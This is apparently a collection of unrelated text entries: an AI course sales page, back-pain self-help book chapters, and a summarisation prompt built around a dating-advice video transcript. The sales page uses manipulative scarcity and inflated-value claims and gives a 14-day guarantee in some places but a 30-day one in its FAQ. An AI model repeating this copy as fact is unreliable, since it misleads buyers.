lie.\n\nA lot of time and money went into putting this all together, and others have been willing to pay me a ton to get their hands on this.\n\nIf I were to sell everything separately, it would be a real-world value of $3,829. Today you can join AI Content Mastery for a one-time investment of only $149.\n\nWhy? \n\nBecause I wish someone had done it for me when I was in your shoes. When you get results with AI Content Mastery, please share your results with me. \n\nBefore I let you go, please understand that we will only sell 100 memberships at this price. After we have 100 members, I\'m raising the price to $497, as that\'s more than fair considering the results it generates.\nJoin AI Content Mastery & Start Building Your Digital Empire with A.I. 🔥\nAI Content Mastery\nThe Ultimate Framework for Launching a Business w/ A.I.\nLaunch Price: $497\n$149\n70% OFF - Discount Ends Soon!\n\u200bBecome an expert in ANY niche and drive consistent leads & sales.\n\u200bBuild an audience to get more attention & reach a wider market faster & easier than ever before!\n\u200bStand out from the crowd and become the leader in your niche.\n\u200bReach more people by using creative writing techniques to create content that resonates with them.\n\u200bIncrease brand awareness and get noticed by potential customers & clients through effective storytelling.\nIncluded: \nLifetime Access to Masterclass & Community\n4 Fast Action Bonuses\n14-Day Money-Back Guarantee\nJoin AI Content Mastery \nAfter payment, you will receive immediate access\n\nAccess To...\nMasterclass & Community\n($2,288 Value)\n\n&\nFast Action Bonuses\n($1,541 Value)\nA.I. Action Plan ( $97 Value)\nViral Storytelling Magic ($197 Value)\n\u200b25+ Productivity Prompts ($47 Value)\n\u200bSolopreneur AI ($1,200/ yr Value)\nTotal Value\n$3,829\n\n100% 14-Day Money Back Guarantee\nWe are confident that if you follow the frameworks and steps laid out in AI Content Mastery you will get results, and we offer a 14-day guarantee to ensure your complete satisfaction.\n\nWhether you need additional support or you would like a refund, we will work with you to ensure that you are completely satisfied with the outcome.\nHere\'s What Others Have to Say About\nAI Content Mastery ❤️\n\n\nJoin AI Content Mastery & Start Building Your Digital Empire with A.I. 🔥\nAI Content Mastery\nThe Ultimate Framework for Launching a Business w/ A.I.\nLaunch Price: $497\n$149\n70% OFF - Discount Ends Soon!\n\u200bBecome an expert in ANY niche and drive consistent leads & sales.\n\u200bBuild an audience to get more attention & reach a wider market faster & easier than ever before!\n\u200bStand out from the crowd and become the leader in your niche.\n\u200bReach more people by using creative writing techniques to create content that resonates with them.\n\u200bIncrease brand awareness and get noticed by potential customers & clients through effective storytelling.\nIncluded: \nLifetime Access to Masterclass & Community\n4 Fast Action Bonuses\n14-Day Money-Back Guarantee\nJoin AI Content Mastery \nAfter payment, you will receive immediate access\n\nAccess To...\nMasterclass & Community\n($2,288 Value)\n\n&\nFast Action Bonuses\n($1,541 Value)\nA.I. Action Plan ( $97 Value)\nViral Storytelling Magic ($197 Value)\n\u200b25+ Productivity Prompts ($47 Value)\n\u200bSolopreneur AI ($1,200/ yr Value)\nTotal Value\n$3,829\nStill Have Questions\nCheck Out Our FAQs\nWhat is AI Content Mastery and how can it help me build my digital business?\nHow long will it take to build my digital business with AI Content Mastery?\nDo I need any previous experience in digital marketing or AI to join this program?\nCan AI really create products and content that are high-quality and engaging?\nWhat kind of products and content can I create using AI with this program?\nWill I receive any ongoing support or assistance after I complete the program?\nIs there a money-back guarantee if I\'m not satisfied with the program?\nYes, there is a money-back guarantee if you\'re not satisfied with the program. AI Content Mastery offers a 30-day money-back guarantee, so if you\'re not satisfied with the program for any reason, you can request a refund within 30 days of purchase.\n\naccordion.txt Displaying accordion.txt.\nStop trading time for money and start leveraging artificial intelligence to automate your income 👇\nLast chance -- 70% OFF\nGet the Ultimate Framework to Building a Digital Business with A.I.\n14-day money-back guarantee,\nno questions asked\n Secure Your Spot\nAccess to Masterclass\n\u200bAccess to Community\n\u200b4+ Fast Action Bonuses\nPrivacy Policy | Terms & Conditions | Contact: admin@aicontentmastery.com\nDISCLAIMER: My results or those of my past clients are no guarantee of your results. I do not guarantee specific results of any kind. Your results will depend on a wide variety of factors, including but not limited to: your work ethic, previous experience, diligence in applying the material, and external economic factors.\n© 2023, AI Content Mastery' -'CHAPTER ONE\n The Promise\n From Chris\nBack pain is the monster in most of our lives. The ogre under the bed. The ogre that lands you in bed all too often. Or on the floor . . . flopping around in pain. Like a sunfish on a hot cement dock. \nMost Americans know that pain well. Know the agony, the sudden sickening return after it’s been gone for a while. The canceling of plans, the loss of a job. Everything. They cannot live with it—not really live—and they would do anything for relief. But there is no relief. They’ve tried everything, and nothing works. Nothing meaningful, anyway. Back pain sufferers spend an average of $2,500 a year for palliative “fixes,” but they get precious little in return. They’d spend more—they’d spend anything—if the fixes really worked. But most don’t. Or not very well. Or not for long. People structure their lives around the pain as best they can, but that doesn’t work either, because you never know when it’s going to hit. \nAnd when it comes, it’s not like a sore shoulder or a bum leg; you can’t use the other arm instead. You can’t limp along with a cane, relying on the good leg. When your back is the problem, everything goes, and you’re cooked. When your back hurts, your life hurts. And you can’t do a damned thing. \nTHE PROMISE\nThat is about to end. You are going to have trouble believing that sentence, but it’s true. That pain is about to go away or be sharply reduced. And the change is going to be permanent. For about 80 percent of you, anyway. That’s an astonishing promise, and it’s absolutely true. We know of nothing else in the field that comes close. \n“Success” means either the permanent elimination of pain (the result for most of you) or a reduction of its severity from the 7–10 level—on a scale of 1–10 (that’s agony)—to the 1–3 level (that’s a nuisance). Blessed, blessed relief, either way. As I say, it is only going to work for about 80 percent of you, but that’s a near-miracle. And Jeremy has solid suggestions for the rest of you, too. (See Chapter 4 to learn if you’re in the 20 percent and find out what to do.) But remember the main point: For 80 percent of you, the pain stops here.\nWe hope that the “you” in that sentence is an enormous number of people. Jeremy is a modest man but he knows what he can do—what he has done—and he is ambitious about taking his protocol to a much broader audience. Indeed, he wants to start a revolution in back pain care in America, starting with you, and he wants it to be universal and cheap. He thinks—he and I think—that it can be done in a book. That sounds wild—that this horrendous problem can be fixed with such a modest tool. But it’s not. Because back pain is all about behavior, and you can deal with behavior in a book. As you will learn in a moment, the vast majority of you created your back pain with your own, long-term behavior. And only you can fix it, with profound changes in that behavior. It is a matter of showing you what you did before that made a mess of your back, and teaching you what you have to do now. And then you doing it. Jeremy explains, and he shows you how. You do the work. You will succeed. A surprise, perhaps one you will have trouble getting your head around at first. But it’s true: You will succeed. \nSo how bad is the problem? Pretty bad, as most of you know. Four out of five of us have back pain so bad we seek help from health care professionals. The nation as a whole spends $100 billion on the problem. It does more to disrupt business than anything else. And, of course, it raises hell with millions of lives. For some, it is a recurring nuisance, something that takes the joy out of the day, the week, the month. For more of us, it is an intermittent horror, with the pain at the agony level and we just can’t move. Your wife calls your host for dinner: “Bill is flat on his back on the floor. We may have to go to the hospital. Sorry.” You can’t go out to dinner; you can’t perform your duties. Hell, you can’t get off the floor! It ruins careers, messes up companies, trashes marriages, and raises holy hell with just about everything else. For most, it comes and goes, but when it comes . . . it’s just god-awful. Oh lord! What do you do?\nNot much, until now. There’s conventional medicine—which is such a blessing in so many areas of our lives—but it is apt not to be great for back pain. For extreme cases (the 20 percent we mentioned), there is surgery, and for them it may be the only option; Jeremy will alert those who should be thinking about it. But surgery—tremendously important and successful for some—is not the answer for most of you. It is well known, for example, that at least one popular operation—spinal fusion—is one of the most overprescribed operations in the country. It is a serious operation (it costs about $100,000), it is often unnecessary, and it often doesn’t work. Not for long, anyway, and sometimes not at all. That is scary. Jeremy, and the best surgeons, all say that surgery should be a last resort. There are other “medical” steps, like cortisone or other shots, but, once again, relief is temporary, there can be serious side effects, and there are limits to how often you can go there. The basic problem with traditional medicine and back pain is that they are not a very good fit. Western medicine is not heavily focused on behavioral problems and behavioral change; it simply did not grow up that way. And back pain is primarily a behavioral problem. Which means that, ultimately, only you can fix it. \nDon’t worry if this concept doesn’t quite sink in at the first reading. It’s what the whole book is about. We’ll get there. Together. \nA Younger Next Year Book\nI say “we’ll get there together,” and that’s an important part of the book and the cure. This is “a Younger Next Year” book. That means several things, as some of you know. First, it means there is a presentation by two writers, a deadly serious professional scientist (that’s Jeremy for this book . . . it was Harry Lodge in the first Younger Next Year books) and a layman (me). As I used to say of Harry and as I now say of Jeremy: “He’s young and smart, and I’m old and funny.” The pairing is supposed to make the book easier to follow (and maybe just a teeny bit fun to read) without losing a whisper of scientific integrity. The scientist is in charge throughout, but reading the book should not make your teeth hurt. Not hurt badly, anyway.\nIt also means that the core idea is that behavioral change can have a profound effect on your wellness and quality of life. Far more of an effect, in important areas, than the best conventional medicine. The “modest” boast in the original Younger Next Year book was that behavioral change could put off 70 percent of aging until close to the end of life, and eliminate 50 percent of the most serious diseases completely. Which was absolutely true; no one has ever disagreed. Over 2 million people bought Younger Next Year (in twenty-three languages) and made it a cult book for those over forty, many thousands of whom profoundly changed their lives. A huge number of people have come up to me and Harry over the years to say, “Hey, man, thanks for writing that book; it changed my life.” Nice.\nThe Younger Next Year Back Book is a little more specific: Behavioral change—spelled out by Jeremy—can end or radically reduce back pain. But the consequences for back pain sufferers are every bit as important. I was with Jeremy recently when a guy in his fifties said to me that he’d come to Jeremy the previous summer, after a lifetime of serious back pain: “I could not bend over to lace my own shoes. I’d been in agony for decades. And Jeremy simply fixed it. Jeremy gave me my life back.” Jeremy has a thousand stories like that. More than a thousand. We hope to have a million before we’re done.\nFinally, it means that the book has a certain integrity. Harry and I went to great lengths to make Younger Next Year solid—conservative, if anything. To the best of our knowledge, there was not a single exaggeration, and certainly not a single misstatement. Jeremy and I have done the same here. Dealing with back pain is an evolving field, and some things we say may turn out to be wrong as people learn more. But not the basic lines and not the major claims. The book is as solid as we can make it, and it will stand up. As Younger Next Year has done, strikingly. \nJeremy came to me with the idea for doing this book together because he thought YNY and his story had “the same genes.” Which was quite right. Beyond that, Jeremy is a “good guy”; he wants to do good in this world, and the fact that back pain makes such a mess of so many lives—unnecessarily in his view—makes him crazy. He knew how successful the Younger Next Year books had been, he knew me, and he thought that maybe the two of us could pair up and get the word out . . . change the world of back pain.\nSo that’s our modest goal here—first Jeremy’s and now mine: We just want to, you know, change the world. And eliminate back pain for millions. Hey, couldn’t hurt. Along the way we hope to make a couple of billion dollars ourselves but Jeremy’s great motivation is to change the world of back pain. Pretty good guy, Jeremy. \nNow, let’s have a quiet word about some things this book won’t do. It won’t do any good if you just stick it under your pillow, for example. You have to read it. Closely. We’ll make that as easy as we can but it ain’t always going to be a walk on the beach. Then, by heaven, you have to go to work yourself on the cure. You have to do the initial fixes yourself. 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"https://engageleads-gallery.s3.us-west-2.amazonaws.com/ProfitQuotesV2/templates/Self+Improvement/slides/pq\\_slide\\_bgvid\\_85.mp4"' -'CHAPTER SEVEN\n RULE #2\n Be Still So You Can Heal (The Neutral Spine)\n From Jeremy\nLet’s assume that you are beginning to get the big picture. And that you have also begun to identify the “dumb” things that you’ve been doing to wreck your back, and that you have stopped doing them. Good. Now it is time to start the healing, and that is a matter of immobilizing your lower back or lumbar spine so it can heal, after all those years of doing things that hurt it. \nThe analogy is not perfect, but think of your tortured back as being like a broken arm or leg. When you break an arm, say, the doc puts it in a stiff cast so you can’t bang it or twist it and to give it time and rest to heal. The same with your back, except we can’t do anything quite as dramatic as put you in a whole-body cast for your damaged back. What we can do is show you how to carry yourself so that you effectively immobilize your lower back. It’s not totally easy, but it will work. And bear in mind, if you do not immobilize your back, it will not heal—simple as that. Indeed, it may get worse. \nWhat do I mean by “immobilizing” your lumbar spine? I do not mean that you can’t sit or walk or have a more or less normal life. What I do mean is that you have to be really serious about maintaining a neutral spine, all the time. Maintaining a neutral spine is at the heart of your cure, and will be at the heart of your life after your cure. This is the time to learn how to achieve a neutral spine and how to maintain it all the time, even when doing various movements. \nThe spine is a meticulously engineered piece of machinery, but it has a lot of redundancy built in. By this I mean that unlike the knee or shoulder, in the spine when you have a bad joint, the surrounding structures can “help” bear the loads, and you can function more or less normally and without pain. Take the pressure of bad posture—and dumb movement patterns—off, and there is very likely enough “room” in this spine for the sufferer to have a normal life. For example, the “holes” where the nerves come out of the spine (the foramina) are still big enough for the nerves to exit, pain-free, if you’re not squeezing the area with lousy posture. In the same vein, there is probably still enough cushion in the flattened disc to support a correctly aligned spine (but not a bent or misshapen one). And so on. \n“Neutral” means the position in which the least amount of problem loads occur, all up and down the spine. The “problem loads” in some pictures we’ve shown are extreme, but even those inflamed joints and nerve roots will likely calm down if you leave them alone for a while. Which is to say, if you keep your spine in neutral. As bad as those injuries are (and as long as it took someone to create them) there is a strong chance that that sufferer can go about his or her life, with a neutral spine, in little or no pain. \nLearning to keep a neutral spine is not totally easy. And learning to maintain it all the time is harder. But this is the “cast” that lets your body heal. It is worth going to a lot of trouble to get this right. And it is a lesson that you will use for the rest of your life, long after the problem area has “healed.” \nOkay, step one is understanding the concept of neutral spine. Step two is learning to find it and lock it in place, and keep it in place forever (which we will teach you in Chapter 9).\nThe neutral spine is the position that allows your spine to do its job with the least amount of stress and load. And—if you have already damaged your back—it is the position that results in the least amount of new damage or pain.\nFor most people, the picture on the left is the neutral spine. The other two are not.\nNeutral Spine \n\nGOOD BAD\nNote the gentle curve of the lower back in the “good” spine. For the majority of you, this is how your neutral spine will look. If you have developed significant degenerative changes or were born with significant abnormalities (it happens, but not a lot), your neutral spine may look a bit different. For now assume that your neutral spine looks like one on the guy on the left. Spines vary, and you may have your own unique neutral spine that is a little different from this. Whatever your own neutral spine, that is the position you want to maintain as you go about your daily life. It is also the position in which you feel the least pain. Again, maintaining a neutral spine is a fundamental behavioral change for most people. And it is readily doable. In a few months’ time, I predict that it will be natural and you will scarcely need to think about it. One of the near-magic presences in our lives is “muscle memory.” Maintain your spine correctly for a while and muscle memory takes over. Then it is just a question of seeing to it that your muscles are strong enough to do their job. \nHow do you keep your spine neutral and still be a dynamic, moving, active human being? By learning to brace your neutral spine with your core (Chapter 9) and maximizing movement in your hips (as opposed to your lower back). As Chris mentioned in Chapter 6, one of our cardinal rules is “Thou shalt not bend or twist with thy lower back.” And you don’t need to. You can rotate from side to side and bend forward and back using your hips. You do not need to flex or twist your lower back. \nYou may ask: Isn’t range of motion important for the lumbar spine? Answer: Not really. At least, it is usually the least important factor for someone who has had significant back pain, and should be reintroduced only after pain has stopped. Most people who have experienced regular, serious back pain have already sustained significant wear and tear on the spine. The general pattern I see is a combination of two things: first, worn-down vertebral joints that are hypomobile (stiff), secondary to arthritic changes and degeneration; second, lumbar vertebral joints that are hypermobilie (loose), due to overstretched ligaments and atrophied muscles. These problems are best resolved when we protect the spine by bracing and “locking down” the lumbar spine and moving in a manner that completely changes the axis of motion from the lumbar spine to the hips and shoulder girdle. You can eventually introduce some gentle lumbar range-of-motion exercises in non-loaded ways. This is what the “Cat/Camel” exercise that we introduce later is for. Small, gentle lumbar range-of-motion exercise is necessary for things like synovial joint lubrication, the reduction of friction between vertebral segments and discs, and disc nutrition, among other things. For example, walking requires a few degrees of freedom between the lumbar vertebral joints (3 or 4 degrees rotation) with coordinated muscle contractions to enhance stabilization and supply necessary lubrication and nutrition to discs and joints. For our purposes, we recommend keeping lumbar motion to a minimum, especially until your pain is gone. Once that occurs, you should make only healthy, non-loaded, non-repetitive lumbar movements, such as those necessary for walking and the cat and camel exercise. Spinal stability, core endurance, hip mobility, and core and gluteal strength are far more important for maintaining a healthy spine once you’ve had back pain. You can do just fine in life with almost no rotation or excessive movement in your lower back. Let your hips do the work, and your risk of recurring back pain is sharply reduced. \nFinding Your Neutral Spine \nFinding your neutral spine can be a bit tricky for some but you can do it. Here’s what you do. Lie on your back with your knees bent and your feet flat on the floor. Try to relax everything in your body, and just breathe. Then let’s start by performing a pelvic tilt. \nTo do that, flatten your lower back into the floor (see top drawing), and curl your tailbone upward. This is a “posterior pelvic tilt,” if you want to put a name to it. Now, arch your back so that your lower back comes off of the floor (middle drawing), and point your tailbone toward the ground (an “anterior pelvic tilt”). Now, slowly go back and forth between those two motions a few times (bottom drawing). Find the position of your lower back between these two extremes (flattening your back or arching it) that feels the most comfortable to you, and stop there. This is your neutral spine. It may take a few tries but it’s not hard.\nFinding Your Neutral Spine\n\nStop here for a second. You have just reached an important point, and you don’t want to “lose” it. Everyone’s neutral spine is a bit different depending on the anatomical condition of their lumbar spine. For most people, there will be a gentle curve in the lower back. For those who already have some kind of a disc bulge, their neutral spine might be more arched (butt more extended). For those with spinal stenosis, their neutral spine may be a little more flattened than the one in the picture on the previous page. Don’t worry about it. Whatever feels the most comfortable for you is your neutral spine for now. In time, your neutral spine will likely become more like the “normal” picture as pain and inflammation subside.\nThink about your neutral spine and assume that position all the time until it becomes second nature—until “muscle memory” takes over. \nNext, we move on to a discussion of techniques to help you maintain a neutral spine. But first, Chris is going to tell you why it is very likely you haven’t heard of these concepts before.' -'CHAPTER TWO\n Jeremy’s Story\n From Jeremy\nI got into the business of healing back pain because I had serious back pain myself, as a young man, caused by a series of athletic injuries. I got into chiropractic and related whole-body disciplines because nothing else worked for me. I went on to develop my own, very different variations on familiar chiropractic practices over time. I do not “pop” backs or any of that, but I draw heavily on the basic elements of the discipline, as well as my reading of the scientific literature generally and my own considerable experience as a practitioner.\nI grew up in a traditional medical household, and fully expected to go to medical school and then into practice. My grandfather was a medical doctor, my father is a medical doctor, my mom is a nurse, my aunt is a nurse, my uncle was a pharmaceutical salesman. I was as deeply immersed in traditional Western medicine as one could possibly be, and I had—and still have—tremendous respect for it. When I was little, I was used to having people come up to me and tell me how much my grandfather had done to save this or that child from some grim fate. He was one of those doctors that they don’t really make anymore. He performed surgeries, delivered babies, made house calls, and was a master diagnostician. And he was also a terrific guy whom I admired a lot. Later I heard the same things about my parents from their patients. \nSo I grew up believing there wasn’t much that modern medicine could not fix, and I couldn’t wait to become a part of it. I emphasize all this because, eventually, I am going to sound a bit reserved about traditional Western medicine and back pain, and I don’t want you to be confused: I revere traditional medicine and understand it better than most. It’s just that it generally isn’t great at curing back pain. And back pain is what I had as a young man . . . a lot of it. And it has been my life ever since. \nMy Personal Pain: Part One \nWhen I was a teenager, I thought I was going to be a professional skateboarder. If you are over fifty, do not snap the book closed at this point; skateboarding is a terrific sport. But it is a slightly dangerous sport and I took many, many falls, some of them pretty bad. I did not become a professional skateboarder; I might have been good enough, but long before that could happen I became a very young man with extremely serious back pain. When that happened, I went the traditional medical route. I went to regular doctors (good ones, as you’d expect) and was poked and prodded; I had ultrasounds and MRIs and blood tests and you-name-it. They talked about an extraordinary range of possible causes, including “slipped discs,” “ruptured discs,” “pinched nerves,” maybe cancer. Wow! But they could not fix my pain. I was somewhat medically astute, even as a kid, and I became increasingly convinced that a lot of these well-meaning, well-trained doctors didn’t really know an awful lot about my back pain. Sounds harsh, but it has turned out to be true of quite a few conventional doctors. \nIn near desperation, I turned to less traditional medicine—to chiropractors. And darned if I didn’t find at least some symptomatic relief. That was huge, and it opened my head to the possibility of going in that direction. I should mention that those particular chiropractors weren’t perfect, either. They didn’t begin to teach me how to make fundamental changes. They didn’t talk about changing my own behaviors or suggest how to take control of my own health or do any of the things that are at the heart of my practice today. But they did show me that the pain could be affected with simple muscle and joint work, and I was deeply impressed by that. Chiropractic treatment has its place in back care and offers many benefits when done properly. Skilled chiropractors use manual (with their hands) therapy to restore normal joint movement and muscle function through chiropractic adjustments and other techniques such as stretching and joint mobilization. This therapy can be invaluable, especially in the short term. But even today many chiropractors do not teach their patients how to make the necessary behavioral changes to permanently relieve back pain. \nI decided to train in chiropractic, because I wanted to dig deeper into what I already recognized as the real causes—and perhaps the real treatment—of serious back pain: behavior and behavioral change. That drove my very medical family crazy, as you can imagine, but in retrospect it was exactly the right decision. \nMy education was a long and complex process. I took guidance from a range of experts in the chiropractic and other fields. But I eventually developed my own analyses and my own approach to permanently ending back pain in my patients. Traditional medicine takes a basically deconstructivist approach: It generally takes complex problems apart, analyzes the pieces with exquisite care, then identifies and cures the particular problem. That deconstructivist approach works miraculously for many, many medical problems, but not for back pain. For back pain you want an integrationist approach. You want whole-body solutions.\nMy Personal Pain: Part Two \nI had a second round of back pain, long after I should have known better, and I want to tell you that embarrassing story for several reasons. First, because the pain was so dreadful, and I want you to know just how deeply I understand and empathize with significant pain. Second, I want to stress just how vulnerable all of us are to default behaviors that can raise holy hell with our backs, including people like me, who surely should have known better. And third, I want to show how quickly and effectively you can deal with even the gravest back pain, once you know what you’re doing. \nThe time is seven years ago. I was working part of the time on a very promising medical start-up venture. For six months, I was absolutely obsessed with it. I worked regular ten- and twelve-hour days with few breaks for leisure or exercise. Most of the time, I was bent over my computer. I worked like an absolute lunatic and did not think twice about my back. Pathetic. \nOne morning, after a particularly grueling stretch of days and nights, I woke up at six and started to sit up to go to the john. I was smacked by the most ferocious pain I’ve ever had in my life, even worse than anything from my skateboarding days. I was knocked flat on my back and could not budge. Even when I was lying absolutely still, the pain continued, unabated, at a fierce level. If I tried to move, it was much, much worse. I lived alone back then, and all I could do was lie there and wonder, in near panic: What in the world is going on? Just how bad is this? Am I going to die, for heaven’s sake? Not only was I in terrible pain; I was seriously scared. \nI remembered how “normal” back pain felt, a bad spasm or whatever. But this seemed to be way beyond that. So what was it? A ruptured disc would be the good news. At the other end of the spectrum, perhaps it was some weird cancer, somewhere in my spine. \nThat was ridiculous, but truly severe pain leads to some wild and unpredictable thoughts. I was sweating and breathing hard and was on the edge of panic. And that went on for what seemed like forever. At last my long scientific training and experience took over. The first step was to ask myself the questions I ask all my patients: How did this happen? What “behavior” might have caused this? It’s interesting just how often the sufferer knows intuitively what he or she had done (at least the triggering event) and I was no different. It did not take long to conclude that it was probably those months of nonstop work, bent over a computer. Of course! For someone with my history, that was nuts. And step one was to stop doing what had caused the pain in the first place. (If I ever managed to sit or stand again.) The problem right now was to ease the pain and move. With more than a little agony, I rolled onto my side to see if I could stand. I couldn’t. The pain ratcheted up to new levels and slapped me flat on my back again. It felt as if someone were stabbing me in my kidneys and dragging the knife down into my buttocks. It literally took my breath away. \nThen it was back to basics: I did what I always do in those relatively rare cases when I’m there during a patient’s attack. I told myself to tense my abdominal muscles a little and slowly pick up my left foot. I am lying flat in bed and picking up one foot, just a little bit. That simple first step, which I have counseled so many times, was bearable. It almost always is. I set that foot down and picked up the right foot, continuing to tense my abdominal muscles. That also was doable. Good. Then on to the next phase: I walked carefully, very gently, in place—lying on my back and not lifting my feet very far—for perhaps five minutes. The pain slowly lessened. I stopped, and did it again several times. I was “walking off” the pain. And I was easing what almost certainly was a particularly bad muscle spasm, somewhere near my lumbar spine. \nEventually, I felt ready to stand. I lightly tensed the muscles in my abdomen to support my spine and keep it still and rolled onto my side. As you will soon learn, this tensing of those muscles is called locking down or engaging your core. This time I could do it. I was careful to keep my lower back still and my abdomen braced throughout the movement. It was not pain-free, but I made it to my knees, then my feet. I was mighty careful to keep my lumbar spine still and my core engaged throughout, because I knew that, in the wake of an attack like this, the spasm and the pain were just waiting to come roaring back. Then I tried walking erect. And, yes, I could walk. I walked back and forth across the room carefully, keeping my core tight. I did that for quite a while and the spasm and pain calmed down. \nFor the rest of that day, I was very careful about how I moved, and my back continued to get better. I knew from experience that those first steps would work because I had taught them to so many others. For the rest of the day, I took it easy and did no more than a little easy walking. By tomorrow, I assured myself, my back will slowly loosen up. It will take a week to return to normal, because the spasm was so strong. But in a week, I will be there. Then I will resume my regular exercise regimen, and stick to it religiously. I will not sit at the computer for more than thirty minutes at a time without taking a break and walking around. And so on and so forth. In fact, I did all that. In a week, I was moving and living normally. I did not let the intensity of my work interfere with my exercise regimen ever again. And the pain never returned. \nWith my horror story behind us, I want to visit four other sufferers. But first, let Chris take you on a stroll down your own spine, and tell you about how your spine works and how it can go wrong.' -'Web search results:\nCurrent date: 25/2/2023\n\nInstructions: Using the provided web search results, write a comprehensive reply to the given query. Make sure to cite results using [[number](URL)] notation after the reference. If the provided search results refer to multiple subjects with the same name, write separate answers for each subject.\nQuery: Summarize the following.\nTitle: "(6) How To Confidently Flirt With Women - 3 Principles - YouTube"\nTranscript: "what are the principles of men communicating attractively to women so we have broken down uh the flirting process let\'s see if i can do this it\'s been a long time since i\'ve had to get out there and do this the first piece is [Laughter] so the first piece of it is just interest uh that we think about and let\'s pretend that you\'re in a bar or something uh what we\'re trying to avoid in this stage is i have to go to the bathroom i\'m just bored of you and so when we\'re talking about this this is the playful stuff that we mentioned it\'s a lot of the things with where do you what do you do where are you from finding ways to be interesting this isn\'t sexy necessarily this isn\'t i want to hook up with you it\'s just i want this interaction to continue the second piece that i think a lot of guys skip out on is having genuine standards when you receive a letter from harvard university that you\'ve been accepted it feels wonderful when you receive a letter from the community college that takes 100 of the people it doesn\'t feel good and the truth about dating like it or not is that we often date people to affirm things about ourselves so when you have no standards for this other person and they feel like they could have been anyone like truly it was their shape that attracted you to them it doesn\'t generate any sort of interest in you but if you\'re indicating through interaction for instance if you\'re out at a bar or a club and somebody is rude to a waiter or waitress or bartender you go oh my god i can\'t stand people who do that if i would you know i don\'t care how beautiful or fun or sexy you are like when i see that kind of behavior it\'s a total turn off just as an aside in a conversation that\'s communicating to the person that they care about my personality right and now the thing is you want to have genuine standards so this is easier for people who have dated and who have had you know perhaps dated something they were very attracted to who had personality traits that they didn\'t really like if you can go through your history and ask yourself what are the things that really do attract me to people that are not sexuality or you know shape based things what are the things that that make me uh repulsed and list those out and find ways to incorporate those into conversation for instance i have most enjoyed my relationships with women who were incredibly affectionate so when someone early in an interaction says i\'m a hugger i go oh my god i\'m going to love you like i\'m i\'m the same way i can\'t stand people that just want to like touch on the shoulder say hello we\'re like high five every time and that communicates to them that there are things that i am selecting for and you actually are within that category now it is crucial here to this is not a strategy to fake right if you\'re just saying these things and really it\'s like no it\'s you just have the shape and the look it\'s not gonna work nearly as well um and it\'s also just not good for you you\'re gonna wind up in the relationship that sucks and then the last piece is sexual tension and i think this is the part that is probably most uncomfortable for a lot of guys is being able to sit in a sexually tense scenario which might be lingering on eye contact with someone interaction with a smirk on your face it might be dancing close without having to crack a joke being able to manage that sexual tension while sometimes relieving it with that playful push-pull stuff is is does not come natural to most people they try to escape it as soon as they feel it and therefore they\'re sitting with that discomfort oh yeah and it\'s it is tense it\'s it\'s this in-between stage of do you like me do i like you are we gonna kiss or are we just look into each other\'s eyes and being able to hold that and enjoy that is something that we talk about it takes some time to develop but there are some things that you can do so for instance most people if they go on a date say you match someone on tinder or hinge they\'ll go to a bar they\'ll sit down on opposite sides of a booth talk about work you know and then they\'ll okay at the end of the night well i hope you had a good time and there\'s been no sexual tension built versus if you go to the bar you say hey let\'s sit over here you sit at the bar while you\'re communicating with them you put your hand on their hand when they make a joke you say i love that you give them a hug you know you you know hold their their arm while you\'re telling a story to demonstrate what somebody did you are building this sort of uh this physical tension between the two of you that gets more and more comfortable and allows for those sort of close is it happening isn\'t it happening interactions and you\'re not putting all the weight from going from zero to 60 with the good night kiss at the doorstep which feels awful and it\'s just an amount of like discomfort that is that is not fun for anybody to experience so those are those are the sort of the buckets that we that i think about at least when i\'m talking about it and what i try to ask guys specifically to do because it\'s a different scenario with girls is to think about where they are not uh going to the next level and it\'s like oh they\'re just walking away from me as i start conversations like okay let\'s talk about being more interesting in conversation or i\'ve never actually uh you know i\'m hitting on girls and i\'m being fun and interesting but they have a sense that i\'m just a player and they don\'t want to talk to me it\'s like well you\'ve got no standards and then so going through those using that as a diagnostic tool is is something that we do i think guys are probably quite fearful about running out of stuff to say as well have you got strategies for small talk yeah so uh one there\'s there\'s a couple of different videos in terms of women uh specifically in flirting scenarios this is the hardest things my brain is like this and you\'ve seen in this interaction i\'m a logistical person when you ask me a question i want to answer it literally the best thing for small talk is to recognize that especially on a date or in a borrower club they just want a vibe you don\'t have to have topics it\'s not about not [\xa0\\_\\_\xa0] podcast work yeah it\'s it\'s a podcast it\'s not supposed to be that it\'s supposed to be fun playful world building so uh you know if she says oh my god like you went to jamaica i studied abroad there be like oh my god fantastic after this bar we\'re going to the airport we\'re going to get on a plane we\'re going to go scuba diving we\'ll be there tomorrow morning we\'re going to have to fund this so somehow i don\'t know i\'m going to have to take up a job selling lucy cigarettes on the street whatever you\'re just like just this playful world building is a way that men tend not to instinctively communicate what do you mean by world building uh what i just created was almost an improvisational comedy sk scenario like we\'re going to go here here\'s what\'s going to happen obviously none of this is real this is this is i\'m definitely not going to sell lucy cigarettes to fund a plane ride for tomorrow but when you can build these fake fun obviously not real fantasy scenarios that people participate in and sometimes men do this with their with their good friends when they\'re all on a group of people you know that would be like if blah blah blah oh my god when you do that with women in fun ways that tends to uh set the vibe to be this fun flirty thing that she can contribute to and say well we\'re not going to stay in the same room tonight be like perfect i\'m going to get a i\'m going to have the penthouse and you could sleep in you know the water closet or whatever and no i don\'t want to sleep in the water closet so these these are the types of things that are ridiculous that most men would never think about doing in conversation but that are genuinely fun once you try on this new style of of conversing now of course there\'s still going to be time for what do you do where you from what\'s your work but especially in a bar nightclub scenario which is i think what i\'m tending towards more if you lead with here\'s my cool job i work at goldman sachs that\'s incredibly boring i can\'t tell you the number of guys in new york i saw who started by handing out business cards instead of doing this fun stuff first and then they\'ll be like who are you tell me about yourself and then at that point the goldman sachs thing actually comes in as a patent interrupt and you\'re like oh holy [\xa0\\_\\_\xa0] like he\'s actually funny and interesting and he\'s prepared to sell loose cigarettes and he\'s got a job at an investment bank yes exactly and the best way then when you\'re talking about you know okay i work in investment bank is to speak to your values again people want to know your vibe and your values not just the logistics of what you do so if you say i work at goldman sachs a much stronger way is to think what drove me hopefully it\'s not just a sense of greed but like you know i grew up poor and i always wanted to be able to take care of my mom and family so like you know i don\'t want to be an investment banker for the rest of my life but it\'s helping me to one day buy a house for my mom like that if if true so attractive so so much more engaging than i\'m a banker at goldman sachs so if you\'re setting a vibe or sharing your values those are two very strong modes of conversation to be in compared to just answering questions logistically honestly yeah that\'s an interesting one man i am i\'m interested to find out what you think most men go wrong when approaching women and if there\'s girls that are watching they can put some of their nightmare scenarios down in the comments below as well women have a very different understanding of this because they\'re when they think what goes wrong with men they\'re selecting for the men that have approached them right and so they\'re going oh they were way too pushy way too forward they said this goofy thing they did some r nice guys stuff where they told me like they could be my boyfriend and i\'d never have to go cold 